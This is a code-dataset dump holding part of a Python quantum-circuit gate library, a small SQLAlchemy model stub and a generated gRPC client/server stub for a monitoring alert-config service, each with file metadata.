def swap(target1: QubitInput, target2: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
Returns:
Instruction: Swap instruction.
Examples:
>>> circ = Circuit().swap(0, 1)
"""
return Instruction(Swap(), target=[target1, target2])
Gate.register_gate(Swap)
class ISwap(Gate):
"""ISwap gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["ISWAP", "ISWAP"])
def to_ir(self, target: QubitSet):
return ir.ISwap.construct(targets=[target[0], target[1]])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, 0.0, 1.0j, 0.0],
[0.0, 1.0j, 0.0, 0.0],
[0.0, 0.0, 0.0, 1.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def iswap(target1: QubitInput, target2: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
Returns:
Instruction: ISwap instruction.
Examples:
>>> circ = Circuit().iswap(0, 1)
"""
return Instruction(ISwap(), target=[target1, target2])
Gate.register_gate(ISwap)
class PSwap(AngledGate):
"""PSwap gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle,
qubit_count=None,
ascii_symbols=["PSWAP({:.3g})".format(angle), "PSWAP({:.3g})".format(angle)],
)
def to_ir(self, target: QubitSet):
return ir.PSwap.construct(targets=[target[0], target[1]], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, 0.0, np.exp(1j * self.angle), 0.0],
[0.0, np.exp(1j * self.angle), 0.0, 0.0],
[0.0, 0.0, 0.0, 1.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def pswap(target1: QubitInput, target2: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
Returns:
Instruction: PSwap instruction.
Examples:
>>> circ = Circuit().pswap(0, 1, 0.15)
"""
return Instruction(PSwap(angle), target=[target1, target2])
Gate.register_gate(PSwap)
class XY(AngledGate):
"""XY gate.
Reference: https://arxiv.org/abs/1912.04424v1
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle,
qubit_count=None,
ascii_symbols=["XY({:.3g})".format(angle), "XY({:.3g})".format(angle)],
)
def to_ir(self, target: QubitSet):
return ir.XY.construct(targets=[target[0], target[1]], angle=self.angle)
def to_matrix(self) -> np.ndarray:
cos = np.cos(self.angle / 2)
sin = np.sin(self.angle / 2)
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, cos, 1.0j * sin, 0.0],
[0.0, 1.0j * sin, cos, 0.0],
[0.0, 0.0, 0.0, 1.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def xy(target1: QubitInput, target2: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
Returns:
Instruction: XY instruction.
Examples:
>>> circ = Circuit().xy(0, 1, 0.15)
"""
return Instruction(XY(angle), target=[target1, target2])
Gate.register_gate(XY)
class CPhaseShift(AngledGate):
"""Controlled phase shift gate.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle, qubit_count=None, ascii_symbols=["C", "PHASE({:.3g})".format(angle)]
)
def to_ir(self, target: QubitSet):
return ir.CPhaseShift.construct(control=target[0], target=target[1], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.diag([1.0, 1.0, 1.0, np.exp(1j * self.angle)])
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cphaseshift(control: QubitInput, target: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Instruction: CPhaseShift instruction.
Examples:
>>> circ = Circuit().cphaseshift(0, 1, 0.15)
"""
return Instruction(CPhaseShift(angle), target=[control, target])
Gate.register_gate(CPhaseShift)
class CPhaseShift00(AngledGate):
"""Controlled phase shift gate for phasing the \\|00> state.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle, qubit_count=None, ascii_symbols=["C", "PHASE00({:.3g})".format(angle)]
)
def to_ir(self, target: QubitSet):
return ir.CPhaseShift00.construct(control=target[0], target=target[1], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.diag([np.exp(1j * self.angle), 1.0, 1.0, 1.0])
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cphaseshift00(control: QubitInput, target: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Instruction: CPhaseShift00 instruction.
Examples:
>>> circ = Circuit().cphaseshift00(0, 1, 0.15)
"""
return Instruction(CPhaseShift00(angle), target=[control, target])
Gate.register_gate(CPhaseShift00)
class CPhaseShift01(AngledGate):
"""Controlled phase shift gate for phasing the \\|01> state.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle, qubit_count=None, ascii_symbols=["C", "PHASE01({:.3g})".format(angle)]
)
def to_ir(self, target: QubitSet):
return ir.CPhaseShift01.construct(control=target[0], target=target[1], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.diag([1.0, np.exp(1j * self.angle), 1.0, 1.0])
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cphaseshift01(control: QubitInput, target: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Instruction: CPhaseShift01 instruction.
Examples:
>>> circ = Circuit().cphaseshift01(0, 1, 0.15)
"""
return Instruction(CPhaseShift01(angle), target=[control, target])
Gate.register_gate(CPhaseShift01)
class CPhaseShift10(AngledGate):
"""Controlled phase shift gate for phasing the \\|10> state.
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle, qubit_count=None, ascii_symbols=["C", "PHASE10({:.3g})".format(angle)]
)
def to_ir(self, target: QubitSet):
return ir.CPhaseShift10.construct(control=target[0], target=target[1], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.diag([1.0, 1.0, np.exp(1j * self.angle), 1.0])
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cphaseshift10(control: QubitInput, target: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
angle (float): Angle in radians.
Returns:
Instruction: CPhaseShift10 instruction.
Examples:
>>> circ = Circuit().cphaseshift10(0, 1, 0.15)
"""
return Instruction(CPhaseShift10(angle), target=[control, target])
Gate.register_gate(CPhaseShift10)
class CY(Gate):
"""Controlled Pauli-Y gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["C", "Y"])
def to_ir(self, target: QubitSet):
return ir.CY.construct(control=target[0], target=target[1])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 0.0, 0.0],
[0.0, 0.0, 0.0, -1.0j],
[0.0, 0.0, +1.0j, 0.0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cy(control: QubitInput, target: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
Returns:
Instruction: CY instruction.
Examples:
>>> circ = Circuit().cy(0, 1)
"""
return Instruction(CY(), target=[control, target])
Gate.register_gate(CY)
class CZ(Gate):
"""Controlled Pauli-Z gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["C", "Z"])
def to_ir(self, target: QubitSet):
return ir.CZ.construct(control=target[0], target=target[1])
def to_matrix(self) -> np.ndarray:
return np.diag([1.0, 1.0, 1.0, -1.0])
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def cz(control: QubitInput, target: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index.
target (Qubit or int): Target qubit index.
Returns:
Instruction: CZ instruction.
Examples:
>>> circ = Circuit().cz(0, 1)
"""
return Instruction(CZ(), target=[control, target])
Gate.register_gate(CZ)
class XX(AngledGate):
"""Ising XX coupling gate.
Reference: https://arxiv.org/abs/1707.06356
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle,
qubit_count=None,
ascii_symbols=["XX({:.3g})".format(angle), "XX({:.3g})".format(angle)],
)
def to_ir(self, target: QubitSet):
return ir.XX.construct(targets=[target[0], target[1]], angle=self.angle)
def to_matrix(self) -> np.ndarray:
cos = np.cos(self.angle / 2)
isin = 1.0j * np.sin(self.angle / 2)
return np.array(
[
[cos, 0.0, 0.0, -isin],
[0.0, cos, -isin, 0.0],
[0.0, -isin, cos, 0.0],
[-isin, 0.0, 0.0, cos],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def xx(target1: QubitInput, target2: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
angle (float): Angle in radians.
Returns:
Instruction: XX instruction.
Examples:
>>> circ = Circuit().xx(0, 1, 0.15)
"""
return Instruction(XX(angle), target=[target1, target2])
Gate.register_gate(XX)
class YY(AngledGate):
"""Ising YY coupling gate.
Reference: https://arxiv.org/abs/1707.06356
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle,
qubit_count=None,
ascii_symbols=["YY({:.3g})".format(angle), "YY({:.3g})".format(angle)],
)
def to_ir(self, target: QubitSet):
return ir.YY.construct(targets=[target[0], target[1]], angle=self.angle)
def to_matrix(self) -> np.ndarray:
cos = np.cos(self.angle / 2)
isin = 1.0j * np.sin(self.angle / 2)
return np.array(
[
[cos, 0.0, 0.0, isin],
[0.0, cos, -isin, 0.0],
[0.0, -isin, cos, 0.0],
[isin, 0.0, 0.0, cos],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def yy(target1: QubitInput, target2: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
angle (float): Angle in radians.
Returns:
Instruction: YY instruction.
Examples:
>>> circ = Circuit().yy(0, 1, 0.15)
"""
return Instruction(YY(angle), target=[target1, target2])
Gate.register_gate(YY)
class ZZ(AngledGate):
"""Ising ZZ coupling gate.
Reference: https://arxiv.org/abs/1707.06356
Args:
angle (float): angle in radians.
"""
def __init__(self, angle: float):
super().__init__(
angle=angle,
qubit_count=None,
ascii_symbols=["ZZ({:.3g})".format(angle), "ZZ({:.3g})".format(angle)],
)
def to_ir(self, target: QubitSet):
return ir.ZZ.construct(targets=[target[0], target[1]], angle=self.angle)
def to_matrix(self) -> np.ndarray:
return np.array(
[
[np.exp(-1j * (self.angle / 2)), 0.0, 0.0, 0.0],
[0.0, np.exp(1j * (self.angle / 2)), 0.0, 0.0],
[0.0, 0.0, np.exp(1j * (self.angle / 2)), 0.0],
[0.0, 0.0, 0.0, np.exp(-1j * (self.angle / 2))],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 2
@staticmethod
@circuit.subroutine(register=True)
def zz(target1: QubitInput, target2: QubitInput, angle: float) -> Instruction:
"""Registers this function into the circuit class.
Args:
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
angle (float): Angle in radians.
Returns:
Instruction: ZZ instruction.
Examples:
>>> circ = Circuit().zz(0, 1, 0.15)
"""
return Instruction(ZZ(angle), target=[target1, target2])
Gate.register_gate(ZZ)
# Three qubit gates #
class CCNot(Gate):
"""CCNOT gate or Toffoli gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["C", "C", "X"])
def to_ir(self, target: QubitSet):
return ir.CCNot.construct(controls=[target[0], target[1]], target=target[2])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 1, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 0, 0, 0, 0, 1, 0],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 3
@staticmethod
@circuit.subroutine(register=True)
def ccnot(control1: QubitInput, control2: QubitInput, target: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
control1 (Qubit or int): Control qubit 1 index.
control2 (Qubit or int): Control qubit 2 index.
target (Qubit or int): Target qubit index.
Returns:
Instruction: CCNot instruction.
Examples:
>>> circ = Circuit().ccnot(0, 1, 2)
"""
return Instruction(CCNot(), target=[control1, control2, target])
Gate.register_gate(CCNot)
class CSwap(Gate):
"""Controlled Swap gate."""
def __init__(self):
super().__init__(qubit_count=None, ascii_symbols=["C", "SWAP", "SWAP"])
def to_ir(self, target: QubitSet):
return ir.CSwap.construct(control=target[0], targets=[target[1], target[2]])
def to_matrix(self) -> np.ndarray:
return np.array(
[
[1, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 1, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 1],
],
dtype=complex,
)
@staticmethod
def fixed_qubit_count() -> int:
return 3
@staticmethod
@circuit.subroutine(register=True)
def cswap(control: QubitInput, target1: QubitInput, target2: QubitInput) -> Instruction:
"""Registers this function into the circuit class.
Args:
control (Qubit or int): Control qubit index
target1 (Qubit or int): Target qubit 1 index.
target2 (Qubit or int): Target qubit 2 index.
Returns:
Instruction: CSwap instruction.
Examples:
>>> circ = Circuit().cswap(0, 1, 2)
"""
return Instruction(CSwap(), target=[control, target1, target2])
Gate.register_gate(CSwap)
class Unitary(Gate):
"""Arbitrary unitary gate
Args:
matrix (numpy.ndarray): Unitary matrix which defines the gate.
display_name (str): Name to be used for an instance of this unitary gate
for circuit diagrams. Defaults to `U`.
Raises:
ValueError: If `matrix` is not a two-dimensional square matrix,
or has a dimension length that is not a positive power of 2,
or is not unitary.
"""
def __init__(self, matrix: np.ndarray, display_name: str = "U"):
verify_quantum_operator_matrix_dimensions(matrix)
self._matrix = np.array(matrix, dtype=complex)
qubit_count = int(np.log2(self._matrix.shape[0]))
if not is_unitary(self._matrix):
raise ValueError(f"{self._matrix} is not unitary")
super().__init__(qubit_count=qubit_count, ascii_symbols=[display_name] * qubit_count)
def to_matrix(self):
return np.array(self._matrix)
def to_ir(self, target: QubitSet):
return ir.Unitary.construct(
targets=[qubit for qubit in target],
matrix=Unitary._transform_matrix_to_ir(self._matrix),
)
def __eq__(self, other):
if isinstance(other, Unitary):
return self.matrix_equivalence(other)
return NotImplemented
@staticmethod
def _transform_matrix_to_ir(matrix: np.ndarray):
return [[[element.real, element.imag] for element in row] for row in matrix.tolist()]
@staticmethod
@circuit.subroutine(register=True)
def unitary(targets: QubitSet, matrix: np.ndarray, display_name: str = "U") -> Instruction:
"""Registers this function into the circuit class.
Args:
targets (QubitSet): Target qubits.
matrix (numpy.ndarray): Unitary matrix which defines the gate. Matrix should be
compatible with the supplied targets, with `2 ** len(targets) == matrix.shape[0]`.
display_name (str): Name to be used for an instance of this unitary gate
for circuit diagrams. Defaults to `U`.
Returns:
Instruction: Unitary instruction.
Raises:
ValueError: If `matrix` is not a two-dimensional square matrix,
or has a dimension length that is not compatible with the `targets`,
or is not unitary,
Examples:
>>> circ = Circuit().unitary(matrix=np.array([[0, 1],[1, 0]]), targets=[0])
"""
if 2 ** len(targets) != matrix.shape[0]:
raise ValueError("Dimensions of the supplied unitary are incompatible with the targets")
return Instruction(Unitary(matrix, display_name), target=targets)
Gate.register_gate(Unitary)
| 28.266759
| 100
| 0.578236
| 5,012
| 40,902
| 4.614924
| 0.054669
| 0.0262
| 0.031258
| 0.033377
| 0.783139
| 0.760744
| 0.739083
| 0.720623
| 0.700043
| 0.683225
| 0
| 0.03276
| 0.287296
| 40,902
| 1,446
| 101
| 28.286307
| 0.760694
| 0.283703
| 0
| 0.545736
| 0
| 0
| 0.013758
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.249612
| false
| 0
| 0.015504
| 0.141085
| 0.516279
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| null | 0
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| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
917e9fd9bb5997015f0ff6ec787e2f6f1cca2f2a
| 202
|
py
|
Python
|
src/model/user.py
|
jpchagas/xepa-service
|
bd4f09f427ede789be5d94fca522b0d50b6f0ef7
|
[
"Apache-2.0"
] | null | null | null |
src/model/user.py
|
jpchagas/xepa-service
|
bd4f09f427ede789be5d94fca522b0d50b6f0ef7
|
[
"Apache-2.0"
] | null | null | null |
src/model/user.py
|
jpchagas/xepa-service
|
bd4f09f427ede789be5d94fca522b0d50b6f0ef7
|
[
"Apache-2.0"
] | null | null | null |
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.orm import declarative_base
# declarative base class
Base = declarative_base()
# TODO: Finishing create model as other models
| 28.857143
| 58
| 0.816832
| 26
| 202
| 6.269231
| 0.692308
| 0.276074
| 0.233129
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| 0
| 0
| 0
| 0
| 0
| 0
| 0.133663
| 202
| 7
| 59
| 28.857143
| 0.931429
| 0.331683
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
9182cbb4cba0641dd017ba73a7359eaa896c9545
| 12,487
|
py
|
Python
|
venv/lib/python3.8/site-packages/spaceone/api/monitoring/v1/project_alert_config_pb2_grpc.py
|
choonho/plugin-prometheus-mon-webhook
|
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
|
[
"Apache-2.0"
] | null | null | null |
venv/lib/python3.8/site-packages/spaceone/api/monitoring/v1/project_alert_config_pb2_grpc.py
|
choonho/plugin-prometheus-mon-webhook
|
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
|
[
"Apache-2.0"
] | null | null | null |
venv/lib/python3.8/site-packages/spaceone/api/monitoring/v1/project_alert_config_pb2_grpc.py
|
choonho/plugin-prometheus-mon-webhook
|
afa7d65d12715fd0480fb4f92a9c62da2d6128e0
|
[
"Apache-2.0"
] | null | null | null |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
from google.protobuf import struct_pb2 as google_dot_protobuf_dot_struct__pb2
from spaceone.api.monitoring.v1 import project_alert_config_pb2 as spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2
class ProjectAlertConfigStub(object):
"""Missing associated documentation comment in .proto file."""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.create = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/create',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.CreateProjectAlertConfigRequest.SerializeToString,
response_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
)
self.update = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/update',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.UpdateProjectAlertConfigRequest.SerializeToString,
response_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
)
self.delete = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/delete',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigRequest.SerializeToString,
response_deserializer=google_dot_protobuf_dot_empty__pb2.Empty.FromString,
)
self.get = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/get',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.GetProjectAlertConfigRequest.SerializeToString,
response_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
)
self.list = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/list',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigQuery.SerializeToString,
response_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigsInfo.FromString,
)
self.stat = channel.unary_unary(
'/spaceone.api.monitoring.v1.ProjectAlertConfig/stat',
request_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigStatQuery.SerializeToString,
response_deserializer=google_dot_protobuf_dot_struct__pb2.Struct.FromString,
)
class ProjectAlertConfigServicer(object):
"""Missing associated documentation comment in .proto file."""
def create(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def update(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def delete(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def get(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def list(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def stat(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_ProjectAlertConfigServicer_to_server(servicer, server):
rpc_method_handlers = {
'create': grpc.unary_unary_rpc_method_handler(
servicer.create,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.CreateProjectAlertConfigRequest.FromString,
response_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.SerializeToString,
),
'update': grpc.unary_unary_rpc_method_handler(
servicer.update,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.UpdateProjectAlertConfigRequest.FromString,
response_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.SerializeToString,
),
'delete': grpc.unary_unary_rpc_method_handler(
servicer.delete,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigRequest.FromString,
response_serializer=google_dot_protobuf_dot_empty__pb2.Empty.SerializeToString,
),
'get': grpc.unary_unary_rpc_method_handler(
servicer.get,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.GetProjectAlertConfigRequest.FromString,
response_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.SerializeToString,
),
'list': grpc.unary_unary_rpc_method_handler(
servicer.list,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigQuery.FromString,
response_serializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigsInfo.SerializeToString,
),
'stat': grpc.unary_unary_rpc_method_handler(
servicer.stat,
request_deserializer=spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigStatQuery.FromString,
response_serializer=google_dot_protobuf_dot_struct__pb2.Struct.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'spaceone.api.monitoring.v1.ProjectAlertConfig', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class ProjectAlertConfig(object):
"""Missing associated documentation comment in .proto file."""
@staticmethod
def create(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/create',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.CreateProjectAlertConfigRequest.SerializeToString,
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def update(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/update',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.UpdateProjectAlertConfigRequest.SerializeToString,
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def delete(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/delete',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigRequest.SerializeToString,
google_dot_protobuf_dot_empty__pb2.Empty.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def get(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/get',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.GetProjectAlertConfigRequest.SerializeToString,
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigInfo.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def list(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/list',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigQuery.SerializeToString,
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigsInfo.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
@staticmethod
def stat(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/spaceone.api.monitoring.v1.ProjectAlertConfig/stat',
spaceone_dot_api_dot_monitoring_dot_v1_dot_project__alert__config__pb2.ProjectAlertConfigStatQuery.SerializeToString,
google_dot_protobuf_dot_struct__pb2.Struct.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
| 53.363248
| 156
| 0.716665
| 1,255
| 12,487
| 6.631873
| 0.089243
| 0.046137
| 0.069206
| 0.08074
| 0.904001
| 0.899075
| 0.884056
| 0.836958
| 0.769915
| 0.756218
| 0
| 0.00892
| 0.218948
| 12,487
| 233
| 157
| 53.592275
| 0.844458
| 0.059502
| 0
| 0.541237
| 1
| 0
| 0.083348
| 0.057194
| 0
| 0
| 0
| 0
| 0
| 1
